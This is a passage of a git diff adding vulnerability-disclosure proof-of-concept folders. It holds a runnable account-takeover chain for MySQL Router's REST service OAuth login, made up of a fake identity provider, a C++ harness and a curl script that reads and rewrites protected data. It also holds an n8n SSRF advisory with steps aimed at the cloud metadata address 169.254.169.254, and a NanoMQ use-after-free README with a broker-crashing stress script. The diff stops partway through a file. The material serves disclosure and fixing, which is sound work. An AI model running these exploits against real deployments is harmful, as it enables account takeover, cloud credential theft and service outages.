[`poc/mrs_fake_oidc_provider.py`](poc/mrs_fake_oidc_provider.py) | Local fake OIDC provider serving three identities | +| [`poc/mrs_oauth_e2e_verify.py`](poc/mrs_oauth_e2e_verify.py) | MySQL Shell script: dumps mrs_user and secrets rows for post-attack verification | +| [`poc/mrs_oauth_cached_name_collision.cc`](poc/mrs_oauth_cached_name_collision.cc) | Focused C++ harness exercising production UserManager cache directly | +| [`poc/mrs_oauth_cached_name_collision.sh`](poc/mrs_oauth_cached_name_collision.sh) | Build and run wrapper for the C++ harness | + +## Fix Direction + +- Use `(auth_app_id, vendor_user_id)` as the sole provider identity key +- Include `app_id` in `AuthUser::UserIndex` comparisons +- Remove display-name fallback matching entirely +- Never rebind `vendor_user_id` or `auth_app_id` from a mutable profile-field match +- If email linking is needed, require a provider-verified email signal and an explicit safe linking flow + +## Responsible Use + +Only use this against systems you own or have explicit permission to test. diff --git a/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_fake_oidc_provider.py b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_fake_oidc_provider.py new file mode 100644 index 0000000..2ef7b09 --- /dev/null +++ b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_fake_oidc_provider.py @@ -0,0 +1,79 @@ +#!/usr/bin/env python3 +"""Minimal local OIDC provider for the isolated MRS account-takeover PoC.""" + +import json +from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer +from urllib.parse import parse_qs, urlparse + +IDENTITIES = { + "victim": { + "sub": "victim-provider-subject", + "name": "Privileged User", + "email": "victim@example.invalid", + }, + "attacker": { + "sub": "attacker-provider-subject", + "name": "Privileged User", + "email": "attacker@example.invalid", + }, + "control": { + "sub": "control-provider-subject", + "name": "Unprivileged User", + "email": "control@example.invalid", + }, +} + + +class Handler(BaseHTTPRequestHandler): + def log_message(self, fmt, *args): + print(fmt % args, flush=True) + + def send_json(self, value, status=200): + body = json.dumps(value).encode() + self.send_response(status) + self.send_header("Content-Type", "application/json") + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + + def read_body(self): + if self.headers.get("Transfer-Encoding", "").lower() != "chunked": + length = int(self.headers.get("Content-Length", "0")) + return self.rfile.read(length) + + chunks = [] + while True: + size = int(self.rfile.readline().strip(), 16) + if size == 0: + self.rfile.readline() + return b"".join(chunks) + chunks.append(self.rfile.read(size)) + self.rfile.read(2) + + def do_POST(self): + if urlparse(self.path).path != "/oauth2/v1/token": + self.send_json({"error": "not_found"}, 404) + return + + fields = parse_qs(self.read_body().decode()) + code = fields.get("code", [""])[0] + if code not in IDENTITIES: + self.send_json({"error": "invalid_grant"}, 400) + return + self.send_json({"access_token": code, "expires_in": 3600}) + + def do_GET(self): + if urlparse(self.path).path != "/oauth2/v1/userinfo": + self.send_json({"error": "not_found"}, 404) + return + + token = self.headers.get("Authorization", "").removeprefix("Bearer ") + identity = IDENTITIES.get(token) + if identity is None: + self.send_json({"error": "invalid_token"}, 401) + return + self.send_json(identity) + + +print("fake OIDC listening on 127.0.0.1:18080", flush=True) +ThreadingHTTPServer(("127.0.0.1", 18080), Handler).serve_forever() diff --git a/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_cached_name_collision.cc b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_cached_name_collision.cc new file mode 100644 index 0000000..f42030a --- /dev/null +++ b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_cached_name_collision.cc @@ -0,0 +1,91 @@ +// Focused source-level reproducer for MRS UserManager::cache_get(). +// It uses the production UserManager and cache implementation directly. + +#include + +#include "mrs/database/entry/auth_user.h" +#include "mrs/database/query_entry_auth_user.h" +#include "mrs/interface/authorize_handler.h" +#include "mrs/interface/query_factory.h" +#include "mysql/harness/utility/cache.h" + +#define private public +#include "mrs/users/user_manager.h" +#undef private + +#include +#include + +namespace mysql_harness::logging { +void log_message(LogLevel, const char *, const char *, va_list) {} +} // namespace mysql_harness::logging + +int main() { + using mrs::UniversalId; + using mrs::users::UserManager; + + UserManager manager{/*limit_to_existing_users=*/true, + /*default_role_id=*/{}, + /*query_factory=*/nullptr}; + + UserManager::AuthUser victim; + victim.has_user_id = true; + victim.user_id = UniversalId{0x11, 0}; + victim.app_id = UniversalId{0x22, 0}; + victim.vendor_user_id = "victim-provider-subject"; + victim.name = "Privileged User"; + victim.email = "victim@example.invalid"; + victim.login_permitted = true; + victim.privileges.resize(1); + victim.privileges[0].crud = 0x0f; + + manager.user_cache_.set(UserManager::UserIndex{victim}, victim); + + UserManager::AuthUser attacker; + attacker.app_id = victim.app_id; + attacker.vendor_user_id = "attacker-provider-subject"; + attacker.name = victim.name; // OAuth display names are attacker-controlled. + attacker.email = "attacker@example.invalid"; + + bool identity_changed = false; + auto *matched = manager.cache_get(&attacker, &identity_changed); + + assert(matched != nullptr); + assert(matched->user_id == victim.user_id); + assert(matched->vendor_user_id == victim.vendor_user_id); + assert(matched->privileges[0].crud == 0x0f); + assert(identity_changed); + + UserManager residency_manager{/*limit_to_existing_users=*/true, + /*default_role_id=*/{}, + /*query_factory=*/nullptr}; + residency_manager.user_cache_.set(UserManager::UserIndex{victim}, victim); + + auto add_distinct_user = [&](uint64_t index) { + UserManager::AuthUser filler; + filler.has_user_id = true; + filler.user_id = + UniversalId{static_cast(index + 1), static_cast(0x7f)}; + filler.app_id = victim.app_id; + filler.vendor_user_id = "filler-" + std::to_string(index); + filler.name = filler.vendor_user_id; + residency_manager.user_cache_.set(UserManager::UserIndex{filler}, filler); + }; + + for (uint64_t index = 0; index < 99; ++index) add_distinct_user(index); + bool ignored = false; + assert(residency_manager.cache_get(&attacker, &ignored) != nullptr); + + add_distinct_user(99); + assert(residency_manager.cache_get(&attacker, &ignored) == nullptr); + + std::cout << "attacker_subject=" << attacker.vendor_user_id << '\n' + << "matched_victim_id=" << matched->user_id.to_string() << '\n' + << "matched_by_display_name=" << matched->name << '\n' + << "victim_crud_mask=" << matched->privileges[0].crud << '\n' + << "identity_update_path=" << (identity_changed ? "yes" : "no") + << '\n'; + std::cout << "cache_capacity=100\n" + << "victim_present_after_99_distinct_users=yes\n" + << "victim_present_after_100_distinct_users=no\n"; +} diff --git a/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_cached_name_collision.sh b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_cached_name_collision.sh new file mode 100644 index 0000000..d9e2cf3 --- /dev/null +++ b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_cached_name_collision.sh @@ -0,0 +1,50 @@ +#!/usr/bin/env bash +set -euo pipefail + +# Run from WSL. This compiles the focused harness together with the production +# UserManager implementation. Tiny stubs replace CMake-generated headers only. + +SCRIPT_DIR=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd) +RESEARCH_ROOT=$(cd -- "$SCRIPT_DIR/.." && pwd) +SERVER="$RESEARCH_ROOT/mysql-server" +TMP=$(mktemp -d) +trap 'rm -rf "$TMP"' EXIT + +mkdir -p "$TMP/include/mysqlrouter" +cat >"$TMP/include/mysqlrouter/router_mysql_export.h" <<'EOF' +#pragma once +#define ROUTER_MYSQL_EXPORT +EOF +cat >"$TMP/include/harness_export.h" <<'EOF' +#pragma once +#define HARNESS_EXPORT +EOF +cat >"$TMP/include/my_config.h" <<'EOF' +#pragma once +#define HAVE_SYS_TYPES_H 1 +#define HAVE_UNISTD_H 1 +EOF +cat >"$TMP/include/mysql_version.h" <<'EOF' +#pragma once +#define MYSQL_SERVER_VERSION "9.7.0" +#define MYSQL_BASE_VERSION "9.7" +#define MYSQL_VERSION_ID 90700 +#define MYSQL_PORT 3306 +#define MYSQL_UNIX_ADDR "/tmp/mysql.sock" +EOF + +g++ -std=c++20 -O0 -DRAPIDJSON_NO_SIZETYPEDEFINE \ + -ffunction-sections -fdata-sections \ + -I"$TMP/include" \ + -I"$SERVER/extra/rapidjson/include" \ + -I"$SERVER/router/src/mysql_rest_service/src" \ + -I"$SERVER/router/src/mysql_rest_service/include" \ + -I"$SERVER/router/src/harness/include" \ + -I"$SERVER/router/src/http/include" \ + -I"$SERVER/router/src/router/include" \ + -I"$SERVER/include" \ + "$SCRIPT_DIR/mrs_oauth_cached_name_collision.cc" \ + "$SERVER/router/src/mysql_rest_service/src/mrs/users/user_manager.cc" \ + -Wl,--gc-sections -o "$TMP/mrs_oauth_cached_name_collision" + +"$TMP/mrs_oauth_cached_name_collision" diff --git a/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_cached_name_collision_e2e.sh b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_cached_name_collision_e2e.sh new file mode 100644 index 0000000..7eef4fb --- /dev/null +++ b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_cached_name_collision_e2e.sh @@ -0,0 +1,159 @@ +#!/usr/bin/env bash +set -euo pipefail + +# Isolated end-to-end reproduction for MySQL Router 9.7.1 MRS. +# Override these paths when the official generic Linux archives are elsewhere. +ROUTER_HOME=${ROUTER_HOME:-/mnt/c/tmp/mysql-router-9.7.1-linux-glibc2.28-x86_64} +SHELL_HOME=${SHELL_HOME:-/mnt/c/tmp/mysql-shell-9.7.1-linux-glibc2.28-x86-64bit} +SCRIPT_DIR=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd) + +MYSQL_CONTAINER=mysql-mrs-oauth-poc +DOCKER_NETWORK=mysql-mrs-oauth-poc +ROUTER_DIR=/tmp/mysql-mrs-oauth-router-poc +MYSQL_URI=root:labroot@127.0.0.1:13306 +BASE_URL=https://127.0.0.1:8443/lab +ROUTER_PID= +OIDC_PID= + +stop_router() { + [[ -n "$ROUTER_PID" ]] || return + kill "$ROUTER_PID" 2>/dev/null || true + for _ in $(seq 1 10); do + if ! kill -0 "$ROUTER_PID" 2>/dev/null; then + wait "$ROUTER_PID" 2>/dev/null || true + ROUTER_PID= + return + fi + sleep 0.2 + done + kill -9 "$ROUTER_PID" 2>/dev/null || true + wait "$ROUTER_PID" 2>/dev/null || true + ROUTER_PID= +} + +cleanup() { + stop_router + if [[ -n "$OIDC_PID" ]]; then kill "$OIDC_PID" 2>/dev/null || true; fi + docker rm -f "$MYSQL_CONTAINER" >/dev/null 2>&1 || true + docker network rm "$DOCKER_NETWORK" >/dev/null 2>&1 || true + rm -rf "$ROUTER_DIR" /tmp/mrs-oauth-poc +} +trap cleanup EXIT + +for binary in \ + "$ROUTER_HOME/bin/mysqlrouter" \ + "$ROUTER_HOME/bin/mysqlrouter_bootstrap" \ + "$SHELL_HOME/bin/mysqlsh"; do + [[ -x "$binary" ]] || { echo "Missing executable: $binary" >&2; exit 1; } +done + +mkdir -p /tmp/mrs-oauth-poc +docker rm -f "$MYSQL_CONTAINER" >/dev/null 2>&1 || true +docker network rm "$DOCKER_NETWORK" >/dev/null 2>&1 || true +docker network create --subnet 172.29.20.0/24 "$DOCKER_NETWORK" >/dev/null + +docker run -d --name "$MYSQL_CONTAINER" --network "$DOCKER_NETWORK" \ + --ip 172.29.20.10 -p 127.0.0.1:13306:3306 \ + -e MYSQL_ROOT_PASSWORD=labroot mysql:9.7 \ + --server-id=301 --log-bin=mysql-bin --gtid-mode=ON \ + --enforce-gtid-consistency=ON >/dev/null + +for _ in $(seq 1 60); do + if docker exec "$MYSQL_CONTAINER" mysqladmin ping -h127.0.0.1 \ + -uroot -plabroot --silent >/dev/null 2>&1; then + break + fi + sleep 1 +done +docker exec "$MYSQL_CONTAINER" mysqladmin ping -h127.0.0.1 \ + -uroot -plabroot --silent + +"$SHELL_HOME/bin/mysqlsh" --py --uri "$MYSQL_URI" \ + --file "$SCRIPT_DIR/mrs_oauth_e2e_setup.py" + +rm -rf "$ROUTER_DIR" +"$ROUTER_HOME/bin/mysqlrouter_bootstrap" "$MYSQL_URI" --mrs \ + --directory "$ROUTER_DIR" --name mrs-oauth-poc \ + --report-host 127.0.0.1 --mrs-global-secret lab-jwt-secret-1234 \ + --mrs-mysql-metadata-account mrs_meta \ + --mrs-mysql-data-account mrs_data /tmp/mrs-oauth-poc/fake-oidc.log 2>&1 & +OIDC_PID=$! + +start_router() { + "$ROUTER_HOME/bin/mysqlrouter" -c "$ROUTER_DIR/mysqlrouter.conf" \ + >/tmp/mrs-oauth-poc/router.stdout 2>&1 & + ROUTER_PID=$! + for _ in $(seq 1 20); do + if curl -kfsS --max-time 2 "$BASE_URL/authentication/authApps" \ + >/dev/null 2>&1; then + return + fi + sleep 1 + done + echo "Router did not become ready" >&2 + cat /tmp/mrs-oauth-poc/router.stdout >&2 + cat "$ROUTER_DIR/log/mysqlrouter.log" >&2 + exit 1 +} + +login() { + local code=$1 cookie_file=$2 + curl -ksS -D "/tmp/mrs-oauth-poc/${code}-login.headers" -o /dev/null \ + -c "$cookie_file" \ + "$BASE_URL/authentication/login?authApp=FakeOCI&code=${code}&state=first" + if ! grep -q "login=success" "/tmp/mrs-oauth-poc/${code}-login.headers"; then + cat "/tmp/mrs-oauth-poc/${code}-login.headers" >&2 + cat "$ROUTER_DIR/log/mysqlrouter.log" >&2 + return 1 + fi +} + +start_router + +# Normal privileged login seeds the production OAuth handler cache. +login victim /tmp/mrs-oauth-poc/victim.cookies + +# With registration limiting enabled, an unrelated unregistered identity fails. +curl -ksS -D /tmp/mrs-oauth-poc/control-login.headers -o /dev/null \ + "$BASE_URL/authentication/login?authApp=FakeOCI&code=control&state=first" +grep -q "login=fail" /tmp/mrs-oauth-poc/control-login.headers + +# The attacker has a distinct subject and email but copies the cached name. +login attacker /tmp/mrs-oauth-poc/attacker.cookies +curl -ksS -b /tmp/mrs-oauth-poc/attacker.cookies \ + "$BASE_URL/authentication/user" >/tmp/mrs-oauth-poc/attacker-user.json +ATTACKER_READ_STATUS=$(curl -ksS -o /tmp/mrs-oauth-poc/attacker-read.json \ + -w '%{http_code}' -b /tmp/mrs-oauth-poc/attacker.cookies \ + "$BASE_URL/data/secrets") +[[ "$ATTACKER_READ_STATUS" == 200 ]] + +ATTACKER_WRITE_STATUS=$(curl -ksS -o /tmp/mrs-oauth-poc/attacker-write.json \ + -w '%{http_code}' -b /tmp/mrs-oauth-poc/attacker.cookies \ + -H 'Content-Type: application/json' -X PUT \ + -d '{"id":1,"marker":"attacker-updated-through-stolen-role"}' \ + "$BASE_URL/data/secrets/1") +[[ "$ATTACKER_WRITE_STATUS" == 200 ]] + +# Clear Router's in-memory cache. The metadata rebind must survive. +stop_router +start_router +login attacker /tmp/mrs-oauth-poc/attacker-restart.cookies +PERSIST_STATUS=$(curl -ksS -o /tmp/mrs-oauth-poc/attacker-restart.json \ + -w '%{http_code}' -b /tmp/mrs-oauth-poc/attacker-restart.cookies \ + "$BASE_URL/data/secrets") +[[ "$PERSIST_STATUS" == 200 ]] + +printf '%s\n' '--- nonregistered control ---' 'login=fail' +printf '%s\n' '--- attacker session identity ---' +cat /tmp/mrs-oauth-poc/attacker-user.json +printf '\n%s\n' '--- attacker protected read ---' +cat /tmp/mrs-oauth-poc/attacker-read.json +printf '\n%s\n' '--- attacker protected update ---' +cat /tmp/mrs-oauth-poc/attacker-write.json +printf '\n%s\n' '--- persistent database state ---' +"$SHELL_HOME/bin/mysqlsh" --py --uri "$MYSQL_URI" \ + --file "$SCRIPT_DIR/mrs_oauth_e2e_verify.py" +printf '%s\n' "post-restart protected read HTTP $PERSIST_STATUS" diff --git a/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_e2e_setup.py b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_e2e_setup.py new file mode 100644 index 0000000..615f39d --- /dev/null +++ b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_e2e_setup.py @@ -0,0 +1,96 @@ +# Run with MySQL Shell 9.7.1 in Python mode against the isolated lab server. +shell.options.useWizards = False + +mrs.configure(session, True, "{}", True) + +session.run_sql("DROP DATABASE IF EXISTS lab_data") +session.run_sql("CREATE DATABASE lab_data") +session.run_sql( + "CREATE TABLE lab_data.secrets(" + "id INT PRIMARY KEY, marker VARCHAR(128) NOT NULL)" +) +session.run_sql( + "INSERT INTO lab_data.secrets VALUES (1, 'victim-role-secret')" +) + +service = mrs.add.service( + url_context_root="/lab", + url_host_name="", + url_protocol=["HTTPS"], + enabled=True, + published=True, + name="Collision Lab", + session=session, +) + +no_access = mrs.add.role( + "Authenticated User", + specific_to_service_id=service["id"], + description="No protected-object privileges", + session=session, +) +secret_operator = mrs.add.role( + "Secret Operator", + specific_to_service_id=service["id"], + description="Can read and update the protected lab table", + session=session, +) + +auth_app = mrs.add.authentication_app( + "FakeOCI", + service["id"], + auth_vendor_id="0x35000000000000000000000000000000", + description="Local isolated OIDC provider", + url="http://127.0.0.1:18080", + access_token="lab-client-secret", + app_id="lab-client-id", + limit_to_registered_users=True, + default_role_id=no_access["id"], + enabled=1, + session=session, +) + +mrs.add.schema( + service_id=service["id"], + schema_name="lab_data", + request_path="/data", + requires_auth=True, + enabled=1, + session=session, +) + +mrs.run.script( + """CREATE REST VIEW /secrets +ON SERVICE /lab SCHEMA /data +AS `lab_data`.`secrets` @UPDATE { + id: id @SORTABLE, + marker: marker +} +AUTHENTICATION REQUIRED +FORMAT FEED;""", + session=session, +) + +mrs.add.role_privilege( + role_id=secret_operator["id"], + operations=["READ", "UPDATE"], + service_path="/lab", + schema_path="/data", + object_path="/secrets", + session=session, +) + +victim = mrs.add.user( + auth_app_id=auth_app["auth_app_id"], + name="Privileged User", + email="victim@example.invalid", + vendor_user_id="victim-provider-subject", + login_permitted=True, + user_roles=[{"role_id": secret_operator["id"]}], + session=session, +) + +print(f"service_id={service['id']}") +print(f"auth_app_id={auth_app['auth_app_id']}") +print(f"victim_id={victim['id']}") +print(f"privileged_role_id={secret_operator['id']}") diff --git a/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_e2e_verify.py b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_e2e_verify.py new file mode 100644 index 0000000..2f29cf3 --- /dev/null +++ b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_e2e_verify.py @@ -0,0 +1,10 @@ +rows = session.run_sql( + "SELECT HEX(id), vendor_user_id, name, email, login_permitted " + "FROM mysql_rest_service_metadata.mrs_user " + "WHERE auth_app_id=(SELECT id FROM mysql_rest_service_metadata.auth_app " + "WHERE name='FakeOCI') ORDER BY name" +).fetch_all() +for row in rows: + print(row) + +print(session.run_sql("SELECT id, marker FROM lab_data.secrets").fetch_one()) diff --git a/n8n-ssrf-via-oauth2/ssrf-via-oauth2-n8n.md b/n8n-ssrf-via-oauth2/ssrf-via-oauth2-n8n.md new file mode 100644 index 0000000..2517e5d --- /dev/null +++ b/n8n-ssrf-via-oauth2/ssrf-via-oauth2-n8n.md @@ -0,0 +1,99 @@ +# Authenticated SSRF via OAuth2 Dynamic Client Registration discovery + +**Target:** n8n (self-hosted + n8n Cloud), reviewed against `master` as of 2026-04-19 +**Program:** n8n +**Component:** `OauthService.generateAOauth2AuthUri` → `discoverProtectedResourceMetadata` +**Type:** Server-Side Request Forgery (CWE-918) +**Auth required:** Yes — any authenticated user (member role suffices; credential creation is available to all users by default) +**Affects default install:** Yes — uses the stock `OAuth2Api` generic credential type shipped in `nodes-base` + +--- + +## Summary + +The generic **OAuth2 API** credential allows any authenticated user to enable Dynamic Client Registration and supply an arbitrary `serverUrl`. When generating an OAuth2 auth URL, the backend follows a discovery flow (RFC 9728 / RFC 8414 / OIDC) and performs multiple `axios` requests to URLs derived directly from this user-controlled value. + +Validation only checks that the URL uses `http` or `https`, with no restrictions on IP ranges, DNS resolution, redirects, or timeouts. As a result, an authenticated user can force the server to make arbitrary HTTP(S) requests to any reachable target. + +This enables access to sensitive internal resources, including cloud metadata services (e.g. IMDS), internal admin panels and databases, co-tenant services within the same network, and local or link-local addresses. On n8n Cloud, this is especially impactful since even a free tenant can trigger requests from the server’s internal network context. + +--- + +## Affected versions + +Confirmed affected from `n8n@1.119.0` onward, including `1.123.1`, `2.0.2`, `2.1.0`, `2.7.4`, `2.12.2`, and `master` as reviewed on 2026-04-19. Version `1.118.0` does not appear to expose the Dynamic Client Registration fields required for this specific attack path, so `1.119.0` is the earliest confirmed affected release. + +--- + +## Trigger endpoint + +`GET /rest/oauth2-credential/auth?id=` — authenticated. The controller is `OAuth2CredentialController.getAuthUri` and the request only needs `credential:read` on the target credential, which is automatic for a credential the calling user created. + +--- + +## Proof of concept + +1. Create an **OAuth2 API** credential (any authenticated user): + - Use Dynamic Client Registration: true + - Server URL: `http://169.254.169.254/` (or any internal target) + +2. Trigger: + + ``` + GET /rest/oauth2-credential/auth?id= + ``` + +3. The n8n server issues, in order: + - `GET http://169.254.169.254/.well-known/oauth-protected-resource` + - (on 4xx/5xx, fall-through) Step 2 treats `serverUrl` as the authorization server and issues: + - `GET http://169.254.169.254/.well-known/oauth-authorization-server` + - `GET http://169.254.169.254/.well-known/openid-configuration` + +4. On failure, the response includes: + + ``` + Failed to discover OAuth2 authorization server metadata. Tried: + http://169.254.169.254/.well-known/oauth-authorization-server, + http://169.254.169.254/.well-known/openid-configuration. + Last error: + ``` + + `` is `lastError?.message` from the axios exception, which on Node.js includes e.g. `connect ECONNREFUSED 169.254.169.254:80`, `getaddrinfo ENOTFOUND `, `Request failed with status code 404`, TLS handshake failures, etc. This turns the SSRF into a confirmable host/port scanner: the attacker can distinguish reachable-open, reachable-closed, and unresolvable destinations by the error string returned in the HTTP response to them. + + +### Variants + +- **Response echo:** If an internal endpoint returns JSON, parsing errors (e.g. Zod issues) may leak field names. If valid, a `POST` is sent to an attacker-influenced `registration_endpoint`. +- **Plain HTTP allowed:** `http://` is accepted, enabling access to metadata services and internal control planes. +- **DNS rebinding:** No hostname resolution checks, allowing resolution to internal IPs at request time. +- **No timeout:** Requests can be stalled to increase resource usage or obscure scanning. + +--- + +## Impact + +1. **Cloud metadata exfiltration / credential theft.** If IMDSv1 or similar metadata services are reachable, an attacker can retrieve instance credentials via the SSRF error oracle or by hitting JSON-returning internal endpoints. + +2. **Internal port scanning / service discovery.** The returned axios error messages allow reliable differentiation between open, closed, and filtered ports, enabling internal network scanning from a low-privileged account. + +3. **Cross-tenant reach (n8n Cloud).** Requests originate from the n8n server, not the tenant, allowing access to internal VPC services and bypassing tenant-level isolation controls. + +4. **No CSRF bypass required.** The attacker is authenticated and triggers the flow directly, so the issue stems purely from trusted server-side requests to user-controlled URLs. + +5. **Unauthenticated internal write primitive.** If discovery succeeds, a `POST` is sent to a `registration_endpoint` with predictable JSON, which can act as a write primitive against internal services that accept unauthenticated JSON requests. +--- + +## Severity + +- **CVSS 4.0:** `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L` → **8.0 (High)** — scope-changed because the SSRF crosses from the tenant boundary into the n8n server's network namespace. +- CWE-918: Server-Side Request Forgery. +- OWASP: A10:2021 – Server-Side Request Forgery. + +Amplifiers: + +- Requires only a free/member account (trivially obtained on n8n Cloud). +- Exploits the stock generic OAuth2 credential — no third-party node, no enterprise feature. +- Error-channel oracle is reliable enough to enumerate without blind guessing. +- No rate limiting on the `/oauth2-credential/auth` endpoint beyond the global REST limiter. + +--- diff --git a/nanomq-rule-republish-cjson-uaf-poc/README.md b/nanomq-rule-republish-cjson-uaf-poc/README.md new file mode 100644 index 0000000..997d26f --- /dev/null +++ b/nanomq-rule-republish-cjson-uaf-poc/README.md @@ -0,0 +1,125 @@ +# NanoMQ Rule Republish cJSON Use-After-Free / Double-Free + +Heap use-after-free and double-free in NanoMQ 0.25.6 when the optional rule engine republishes a JSON-selected field. A remote unauthenticated publisher (in an anonymous-publish config) can repeatedly crash the broker with two MQTT messages. + +ASan-confirmed UAF in 5/5 runs. Unsanitized release broker terminated in 5/5 runs (glibc `double free detected in tcache 2`). + +## CVSS + +7.5 (High) for affected deployments - `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` + +This only applies when the rule engine is built and configured. The rule engine is disabled by default. + +## Requirements + +All three of these must be true: + +1. NanoMQ is built with `ENABLE_RULE_ENGINE=ON` (not the default). +2. An admin has configured a republish rule that selects an object-valued JSON subfield (like `SELECT payload.x as y FROM "a"`). +3. The attacker can publish to the rule's source topic. + +If anonymous publishing is allowed (the tested config), no credentials are needed. If auth is required, the attacker needs publish permission on that topic. + +## Root Cause + +The rule engine stores a `cJSON*` pointer in persistent rule state (`rule_payload.value`) when it processes a matching publication. When the republish path builds its output JSON, it passes this stored pointer directly to `cJSON_AddItemToObject()`, which takes ownership of the node. Then it deletes the output object, which recursively frees the attached child. But the persistent `rule_payload.value` still points to the freed allocation. + +The trigger is a two-message sequence: + +1. Publish `{"x":{}}` to topic `a`. The rule engine duplicates `payload.x` (an object) into `rule_payload.value`. The republish path attaches it to the output, prints `{"y":{}}`, then deletes the output, freeing the stored node. + +2. Publish `{"x":[]}` to topic `a`. Arrays hit the default case in `payload_filter()` and do not update `rule_payload.value` or `rule_payload.type`. But because there is no WHERE clause, the filter forces the result to true anyway. The republish path reads the freed node's `type` field, tries to attach it to a new output object, and on the next cleanup can free it again. + +The specific source locations: + +- `pub_handler.c:262` -- `cJSON_Duplicate()` allocates into persistent state +- `pub_handler.c:639` -- `cJSON_AddItemToObject()` transfers ownership to temporary output +- `pub_handler.c:1298` -- `cJSON_Delete(jso)` frees the child through the output parent +- `cJSON.c:1951` -- stale read of freed node's `type` on the next publication + +## Files + +``` +. +|-- README.md +|-- nanomq-rule-uaf-trigger.py single-pair trigger (ASan reproduction) +|-- nanomq-rule-uaf-stress.py repeated-pair stress test (release reproduction) +`-- nanomq-rule-uaf.conf broker config with the vulnerable republish rule +``` + +## Reproduction + +Tested on Ubuntu 24.04 x86-64, NanoMQ 0.25.6 (commit `926179ec`), Clang 18. + +### Build NanoMQ with rule engine + +```bash +git clone https://github.com/nanomq/nanomq.git +cd nanomq && git checkout v0.25.6 && git submodule update --init --recursive +mkdir build && cd build +``` + +For ASan: +```bash +cmake .. -G Ninja -DCMAKE_C_COMPILER=clang \ + -DCMAKE_BUILD_TYPE=RelWithDebInfo \ + -DCMAKE_C_FLAGS="-fsanitize=address,undefined" \ + -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" \ + -DENABLE_RULE_ENGINE=ON -DBUILD_CLIENT=OFF +ninja nanomq +``` + +For release (to see the glibc double-free abort): +```bash +cmake .. -G Ninja -DCMAKE_C_COMPILER=clang \ + -DCMAKE_BUILD_TYPE=Release \ + -DENABLE_RULE_ENGINE=ON -DBUILD_CLIENT=OFF +ninja nanomq +``` + +### Run the ASan trigger + +Terminal 1: +```bash +ASAN_OPTIONS=abort_on_error=1:detect_leaks=0:allocator_may_return_null=1 \ + ./nanomq/nanomq start --conf /path/to/nanomq-rule-uaf.conf +``` + +Terminal 2: +```bash +python3 nanomq-rule-uaf-trigger.py --host 127.0.0.1 --port 28886 +``` + +After the first publication, the observer receives `{"y":{}}` on topic `out`. After the second publication, ASan reports: + +``` +AddressSanitizer: heap-use-after-free +READ of size 4 +add_item_to_object, cJSON.c:1951 +``` + +24 bytes into a freed 64-byte cJSON allocation. + +### Run the release stress test + +Same setup but with the release build. The stress script sends repeated object-then-array pairs until the broker dies: + +```bash +python3 nanomq-rule-uaf-stress.py --host 127.0.0.1 --port 28886 --limit 1000 +``` + +The broker typically survives 1-5 pairs before glibc catches the double free and kills the process. Output: + +``` +free(): double free detected in tcache 2 +``` + +## Limitations + +- Availability impact only. No RCE, no information leak, no integrity impact. +- The rule engine is not built or enabled by default. An admin has to set it up. +- Only object-valued JSON fields trigger this. Simple values (strings, numbers) go through a different code path that does not hit the ownership bug. + +## Fix + +Do not share ownership between persistent rule state and temporary output trees. Either deep-copy the selected value before attaching it to the output object, or restructure rule evaluation so selected values are per-message temporaries that get freed with the current publication, not stored in the rule definition across messages. diff --git a/nanomq-rule-republish-cjson-uaf-poc/nanomq-rule-uaf-stress.py b/nanomq-rule-republish-cjson-uaf-poc/nanomq-rule-uaf-stress.py new file mode 100644 index 0000000..74d5165 --- /dev/null +++ b/nanomq-rule-republish-cjson-uaf-poc/nanomq-rule-uaf-stress.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python3 +import argparse +import importlib.util +from pathlib import Path + + +def load_trigger_module(): + path = Path(__file__).with_name("nanomq-rule-uaf-trigger.py") + spec = importlib.util.spec_from_file_location("nanomq_rule_uaf_trigger", path) + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + return module + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--host", default="127.0.0.1") + parser.add_argument("--port", type=int, default=28886) + parser.add_argument("--limit", type=int, default=1000) + parser.add_argument("--label", default="release-stress") + args = parser.parse_args() + + trigger = load_trigger_module() + subscriber, _ = trigger.connect_client(args.host, args.port, f"{args.label}-observer") + subscriber.sendall(trigger.subscribe("out", 9)) + trigger.recv_packet(subscriber) + publisher, _ = trigger.connect_client(args.host, args.port, f"{args.label}-publisher") + first = trigger.publish("a", b'{"x":{}}') + second = trigger.publish("a", b'{"x":[]}') + + completed = 0 + error = None + for _ in range(args.limit): + try: + publisher.sendall(first) + trigger.recv_packet(subscriber) + publisher.sendall(second) + trigger.recv_packet(subscriber) + completed += 1 + except Exception as exc: + error = f"{type(exc).__name__}: {exc}" + break + + publisher.close() + subscriber.close() + print({"completed_pairs": completed, "error": error}) + return 0 if error else 1 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/nanomq-rule-republish-cjson-uaf-poc/nanomq-rule-uaf-trigger.py b/nanomq-rule-republish-cjson-uaf-poc/nanomq-rule-uaf-trigger.py new file mode 100644 index 0000000..db84e63 --- 